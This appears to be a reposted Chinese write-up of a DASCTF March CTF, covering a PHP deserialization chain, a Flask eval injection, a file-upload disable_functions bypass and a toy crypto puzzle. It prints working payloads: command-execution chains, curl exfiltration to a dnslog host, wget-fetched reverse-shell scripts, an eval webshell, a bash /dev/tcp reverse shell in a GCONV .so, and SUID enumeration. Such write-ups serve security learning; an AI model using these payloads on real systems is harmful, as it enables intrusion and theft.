dasctf三月赛复现
source link: https://ethe448.github.io/2022/03/30/dasctf%E4%B8%89%E6%9C%88%E8%B5%9B%E5%A4%8D%E7%8E%B0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
感觉这次的题不是很难,不至于像之前那样复现都复现不了,不过自己还是太菜了,web只出了一个,这里主要是复现一下web方面
ezpop
确实是一个简单的php
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()//反序列化的入口
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
完整的反序列化链为
fin::destruct->what::tostring->mix::run->crow::invoke->fin::call->mix:get_flag
在get_flag函数里可以利用换行符来防止自己的命令被其中的井号注释,达到命令执行的目的
class crow
{
public $v1;
public $v2;
}
class fin
{
public $f1;
}
class what
{
public $a;
}
class mix
{
public $m1;
public function get_flag()
{
eval('#' . $this->m1);
}
}
$a = new fin();
$a ->f1 = new what();
$a ->f1->a = new mix();
$a ->f1->a->m1 = new crow();
$a ->f1->a->m1->v1 = new fin();
$a ->f1->a->m1->v1->f1 = new mix();
$a ->f1->a->m1->v1->f1->m1 = "%0a;system('ls');";
echo serialize($a);
//O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"mix":1:{s:2:"m1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:17:"%0a;system('ls');";}}s:2:"v2";N;}}}}
因为我这里是用的%0a,应该是解析的时候把它变成了\n,所以这个值的长度其实是要比反序列化出的长度要少1
最终payload:
O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"mix":1:{s:2:"m1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:16:"%0a;system('ls');";}}s:2:"v2";N;}}}}
然后cat读文件
O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"mix":1:{s:2:"m1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:162:"%0a;system('cat H0mvz850A.php H0mvz850B.php H0mvz850C.php H0mvz850D.php H0mvz850E.php H0mvz850F.php H0mvz850G.php H0mvz850q.php H0mvz850z.php flag.php index.php');";}}s:2:"v2";N;}}}}
app.py
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app=Flask(__name__)
def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)
对输入的内容先当作python语句执行,然后再执行log
比赛的时候想的是绕过然后ssti注入,但是过滤的实在太多了
所以只能放弃ssti来想对os.system的利用
因为log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
也就是说它会把这些内容输出存到log.txt里
本地尝试一下可以发现,如果echo 里用反引号加命令是可以执行的,而执行的结果会输入到log.txt中
但是如果我们直接将
num=`ls`
输入,就会导致前边的eval函数报错,也就不会执行后面的system了。所以这时候我们就要利用井号来进行注释
#再python中作为注释符来使用,但是在Linux中只有在句首的位置才能当作注释
我们可以利用这个特性来实现对eval的绕过
#将后边的值都注释了,也就不会让eval报错了
而对于Linux
既然井号可以绕过eval来执行我们的命令,那我们再试试能不能利用通配符直接读flag(这里其实应该先外带log.txt的内容看flag在的文件名的,但是复现的时候忘了
http://95b2c2f7-fe16-46a0-bdf8-81f18ab7b14e.node4.buuoj.cn:81/calc?num=7%23`curl%09\`cat%09*1*\`.locsor.dnslog.cn`
但是显然因为dnslog一次只能带一条信息,而|又被ban掉了,不能利用sed来看其他的文件,所以猜到flag的难度很大,所以我们可以用wget来让靶机反弹shell
1.sh就是一个正常的反弹shell的语句
/calc?num=7%23`wget%09-P%09/var%09http://ip/1.sh`
给一个可执行权限
/calc?num=7*7%23`chmod%09777%09/var/1.sh`
/calc?num=7*7%23`/var/1.sh`
拿到flag,和dnslog外带的结果一样
upgdstore
只能传php,但是传php又会被过滤
这里把Content-Type改成image/jpeg就能绕过
eval应该是被过滤了,传马传不上去,可以先传个phpinfo()看看
第一次见这么多的disable_functions
但是show_source,file_get_contents没被ban,可以用这个读取源码
<?php
('sho'.'w_source')("/var/www/html/index.php");//这里拼接绕过是因为这个函数是被放了黑名单里了
?>
index.php
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 26 Mar 2022 09:01:18 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1695
Connection: close
Vary: Accept-Encoding
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
嘿伙计,传个火?!
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;//strstr大小写敏感,所以可以用大写绕过这个黑名单
}
return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
既然要绕过disable_functions,我们就要想到利用so文件
使用GCONV_PATH与iconv进行bypass disable_functions_lesion__的博客-CSDN博客
但是在so文件中有些符号会被这个文件上传页面的黑名单过滤
所以这里我们要采用自己写一个文件上传的无黑名单的页面来绕过
1.php
PGRpdiBjbGFzcz0ibGlnaHQiPjxzcGFuIGNsYXNzPSJnbG93Ij4KPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0icmV0dXJuIGNoZWNrRmlsZSgpIj4KICAgIOWYv+S8meiuoe+8jOS8oOS4queBq++8n++8gQogICAgPGlucHV0IGNsYXNzPSJpbnB1dF9maWxlIiB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRfZmlsZSIvPgogICAgPGlucHV0IGNsYXNzPSJidXR0b24iIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0idXBsb2FkIi8+CjwvZm9ybT4KPC9zcGFuPjxzcGFuIGNsYXNzPSJmbGFyZSI+PC9zcGFuPjxkaXY+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKLy/orr7nva7kuIrkvKDnm67lvZUKZGVmaW5lKCJVUExPQURfUEFUSCIsICIvdG1wIik7CiRtc2cgPSAiVXBsb2FkIFN1Y2Nlc3MhIjsKaWYgKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7CiR0ZW1wX2ZpbGUgPSAkX0ZJTEVTWyd1cGxvYWRfZmlsZSddWyd0bXBfbmFtZSddOwokZmlsZV9uYW1lID0gJF9GSUxFU1sndXBsb2FkX2ZpbGUnXVsnbmFtZSddOwokZXh0ID0gcGF0aGluZm8oJGZpbGVfbmFtZSxQQVRISU5GT19FWFRFTlNJT04pOwovL3h4eHh4CiRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHRlbXBfZmlsZSk7CgokbmV3X2ZpbGVfbmFtZSA9ICRmaWxlX25hbWU7CiAgICAgICAgJGltZ19wYXRoID0gVVBMT0FEX1BBVEggLiAnLycgLiAkbmV3X2ZpbGVfbmFtZTsKICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCR0ZW1wX2ZpbGUsICRpbWdfcGF0aCkpewogICAgICAgICAgICAkaXNfdXBsb2FkID0gdHJ1ZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkbXNnID0gJ1VwbG9hZCBGYWlsZWQhJzsKICAgICAgICAgICAgZGllKCk7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxkaXYgc3R5bGU9ImNvbG9yOiNGMDAiPicuJG1zZy4iIExvb2sgaGVyZX4gIi4kaW1nX3BhdGguIjwvZGl2PiI7Cn0K
base64解码后实际的内容
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
嘿伙计,传个火?!
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "/tmp");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
//xxxxx
$content = file_get_contents($temp_file);
$new_file_name = $file_name;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
同时我们还要串一个一句话木马来包含这个文件,使这段base64加密的东西可以被解析
<?php
Eval(base64_decode('ZXZhbCgkX1BPU1RbJ2EnXSk=').';');//注意eval里的分号是要拼接上去,而不是直接加上
?>
//实际上这里做题的时候经常报错,但是用get方法取值就没问题,所以我下面都用的get的一句话木马
再利用include和php://filter来让之前我们写的页面的代码执行
a=include(base64_decode('cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT05YmMwOWVlNGUwZWI5MTg0MGY3YzUyMDdlMWQ4NDg1Mi5waHA='));
里面这段base64加密的内容是
php://filter/convert.base64-decode/resource=9bc09ee4e0eb91840f7c5207e1d84852.php
现在我们就可以根据使用GCONV_PATH与iconv进行bypass disable_functions_lesion__的博客-CSDN博客
这篇文章里的东西进行提交了
首先是gconv-modules文件
module 自定义字符集名字(大写)// INTERNAL ../../../../../../../../tmp/自定义字符集名字(小写) 2
module INTERNAL 自定义字符集名字(大写)// ../../../../../../../../tmp/自定义字符集名字(小写) 2
根据题目我们可以改成aa
module A// INTERNAL ../../../../../../../../tmp/a 2
module INTERNAL A// ../../../../../../../../tmp/a 2
然后是so文件
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("希望执行的命令");
}
我们可以写成
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("bash -c 'exec bash -i >& /dev/tcp/ip/port 0>&1'");
}
gcc 源代码文件名.c -o 自定义字符集名.so -shared -fPIC
然后书写shell.php
<?php
putenv("GCONV_PATH=/tmp/");
iconv("自定义字符集名", "UTF-8", "whatever");
?>
我们就直接传参
a=putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.a.utf-8/resource=/tmp/a.so');
shell弹出来了
但是要访问flag文件权限不够
suid提权Linux提权-suid提权 - 走看看 (zoukankan.com)
find / -user root -perm -4000 -print 2>/dev/null
这步不知道为什么我没有复现成功,只输出了三个值就卡住了
但是可以用别的命令看看
find /bin -perm -u=s -type f 2>/dev/null
find /usr -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
最后就是看到nl有权限,用nl读取flag就行
我破译了神级彩蛋!这款游戏竟然藏了这么多剧情?《月圆之夜》究竟讲了什么故事?_单机游戏热门视频 (bilibili.com)
B站有解密的,对着找就行
CRYPTO
FlowerCipher
# python3
from secret import flag
import random
# flag = b'flag{%s}' % md5(something).hexdigest()
# note that md5 only have characters 'abcdef' and digits
def Flower(x, key):
flower = random.randint(0, 4096)
return x * (key ** 3 + flower)
flag = flag[5:-1]
rounds = len(flag)
L, R = 1, 0
for i in range(rounds):
L, R = R + Flower(L, flag[i]), L
print(L, R)
'''
15720197268945348388429429351303006925387388927292304717594511259390194100850889852747653387197205392431053069043632340374252629529419776874410817927770922310808632581666181899 139721425176294317602347104909475448503147767726747922243703132013053043430193232376860554749633894589164137720010858254771905261753520854314908256431590570426632742469003
'''
加密方式就是把flag的字符转成md5然后再转成ascii码后套在Flower函数里计算,然后对RL重新赋值,这样的R其实就 是前一个L的值,而实际上L = 上一个R + 上一个L乘上(key ** 3 + flower),
显然 L1 * (key ** 3 + flower)是能被L1整除的,而R1不行
所以L2/L1的余数就是L2
这样我们可以得到所有的L和R
R = {0: 139721425176294317602347104909475448503147767726747922243703132013053043430193232376860554749633894589164137720010858254771905261753520854314908256431590570426632742469003, 1: 935298420671754230833014738849730432588169238033228173469583131476419084794695511761146278309606770027490667271610796624269392034586175088396235641537756093736185366, 2: 7402968320895532116930768370098929764678065093602516751185225609968053961398195671796668035067389408306736179462173593882795916384659802649189800851665219198361, 3: 41491807647864532203061547188977816042392604608090542687445179257686072390683442091157724792609311622180322599523073162631870961894947012137520634996058265, 4: 363542281260527120641507826394376579427002124891256726811704925452455933892306777570036028677323021255266880206017499363363356743613369155668503557061, 5: 3038050870004975946934828279229998090001629942971672705946371743686684953534372767609080560274203027849883925292484330032865963662762987021572213, 6: 3121683903445470016877317983137081025437455800044243487676152297523129079630621593231064333666220053742946978640516933836161839706107832842, 7: 16713517279670522179142602316669021266414545548551242366498025076135157482269671171234675566764239156725485371108735804221489129242235, 8: 17728566345779292838907909381612640668036643431117165902908905722221490552536570008262521006387722966311695266888986102760148482, 9: 18822751726365286700612339826340137082689797360168751039458371318582478795225200597245268849966216725478600774872948579145, 10: 19346619488865481717482094100686681292384530125288986759529832156605546935716879938892385301891033660176897469426477, 11: 19304497076225869711849746340455541612339463403087957113496859433662333338211557279788474751973335123601723351, 12: 19287157921091613716265688246942013055491723611322575658962386161345041119412098008892719335475158074595, 13: 163194634853135239779527687110852732238802459017066087158243026833107794785760861815584881897662446, 14: 973825402922208545745882895848854992390620148165434035074196392656950555217820068399921894085, 15: 6028609474886885541605763758989943967354486126474121155263363791803356933057570965004061, 16: 5830376668137452804173383567980586211563348379884185911787096393298400138955904511, 17: 32759342090485149698017824597983901673872922475506121132811189377165700630061, 18: 241267801518963217329803327254141129383508497053892152707957403620167975, 19: 240324048977128823416619126180138745528644638124733113619292984561, 20: 1501209023627137765492979001172871435243212151481455508796928, 21: 11731219952144596819377276074864534430521345582519171825, 22: 11050144307727113700681557772687121323224647867153, 23: 10722465754210488857842384539746544074196670, 24: 67952303343509961405922862120527631953, 25: 424678007756192434300006917804988, 26: 449366186013055209469307061, 27: 2694478038943586736328, 28: 24316418691677517, 29: 137492755075, 30: 133317, 31: 1, 32: 0}
L = {0: 15720197268945348388429429351303006925387388927292304717594511259390194100850889852747653387197205392431053069043632340374252629529419776874410817927770922310808632581666181899, 1: 139721425176294317602347104909475448503147767726747922243703132013053043430193232376860554749633894589164137720010858254771905261753520854314908256431590570426632742469003, 2: 935298420671754230833014738849730432588169238033228173469583131476419084794695511761146278309606770027490667271610796624269392034586175088396235641537756093736185366, 3: 7402968320895532116930768370098929764678065093602516751185225609968053961398195671796668035067389408306736179462173593882795916384659802649189800851665219198361, 4: 41491807647864532203061547188977816042392604608090542687445179257686072390683442091157724792609311622180322599523073162631870961894947012137520634996058265, 5: 363542281260527120641507826394376579427002124891256726811704925452455933892306777570036028677323021255266880206017499363363356743613369155668503557061, 6: 3038050870004975946934828279229998090001629942971672705946371743686684953534372767609080560274203027849883925292484330032865963662762987021572213, 7: 3121683903445470016877317983137081025437455800044243487676152297523129079630621593231064333666220053742946978640516933836161839706107832842, 8: 16713517279670522179142602316669021266414545548551242366498025076135157482269671171234675566764239156725485371108735804221489129242235, 9: 17728566345779292838907909381612640668036643431117165902908905722221490552536570008262521006387722966311695266888986102760148482, 10: 18822751726365286700612339826340137082689797360168751039458371318582478795225200597245268849966216725478600774872948579145, 11: 19346619488865481717482094100686681292384530125288986759529832156605546935716879938892385301891033660176897469426477, 12: 19304497076225869711849746340455541612339463403087957113496859433662333338211557279788474751973335123601723351, 13: 19287157921091613716265688246942013055491723611322575658962386161345041119412098008892719335475158074595, 14: 163194634853135239779527687110852732238802459017066087158243026833107794785760861815584881897662446, 15: 973825402922208545745882895848854992390620148165434035074196392656950555217820068399921894085, 16: 6028609474886885541605763758989943967354486126474121155263363791803356933057570965004061, 17: 5830376668137452804173383567980586211563348379884185911787096393298400138955904511, 18: 32759342090485149698017824597983901673872922475506121132811189377165700630061, 19: 241267801518963217329803327254141129383508497053892152707957403620167975, 20: 240324048977128823416619126180138745528644638124733113619292984561, 21: 1501209023627137765492979001172871435243212151481455508796928, 22: 11731219952144596819377276074864534430521345582519171825, 23: 11050144307727113700681557772687121323224647867153, 24: 10722465754210488857842384539746544074196670, 25: 67952303343509961405922862120527631953, 26: 424678007756192434300006917804988, 27: 449366186013055209469307061, 28: 2694478038943586736328, 29: 24316418691677517, 30: 137492755075, 31: 133317, 32: 1}
然后再用(L[i]-R[i+1])//L[i+1]求出flag[i]**3 + flower的值
FLAG = {0: 112511, 1: 149387, 2: 126341, 3: 178420, 4: 114132, 5: 119663, 6: 973209, 7: 186776, 8: 942745, 9: 941869, 10: 972922, 11: 1002182, 12: 1000899, 13: 118185, 14: 167581, 15: 161534, 16: 1034000, 17: 177976, 18: 135780, 19: 1003927, 20: 160087, 21: 127967, 22: 1061635, 23: 1030560, 24: 157794, 25: 160009, 26: 945060, 27: 166773, 28: 110809, 29: 176856, 30: 1031322, 31: 133317}
由于1的ascii的三次方和2的ascii码之间的差值也要比最大的flower大,所以我们就可以遍历一下
得到flag值
FLAG = {0: 112511, 1: 149387, 2: 126341, 3: 178420, 4: 114132, 5: 119663, 6: 973209, 7: 186776, 8: 942745, 9: 941869, 10: 972922, 11: 1002182, 12: 1000899, 13: 118185, 14: 167581, 15: 161534, 16: 1034000, 17: 177976, 18: 135780, 19: 1003927, 20: 160087, 21: 127967, 22: 1061635, 23: 1030560, 24: 157794, 25: 160009, 26: 945060, 27: 166773, 28: 110809, 29: 176856, 30: 1031322, 31: 133317}
flag = ''
for i in range(32):
#FLAG[i] = (L[i]-R[i+1])//L[i+1]
for j in range(48,123):
if j**3 <= FLAG[i] and (j+1)**3 > FLAG[i]:
flag += chr(j)
else:
continue
print('flag='+flag[::-1])
//3e807b66ef26d38e671ddcbb9c108250
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK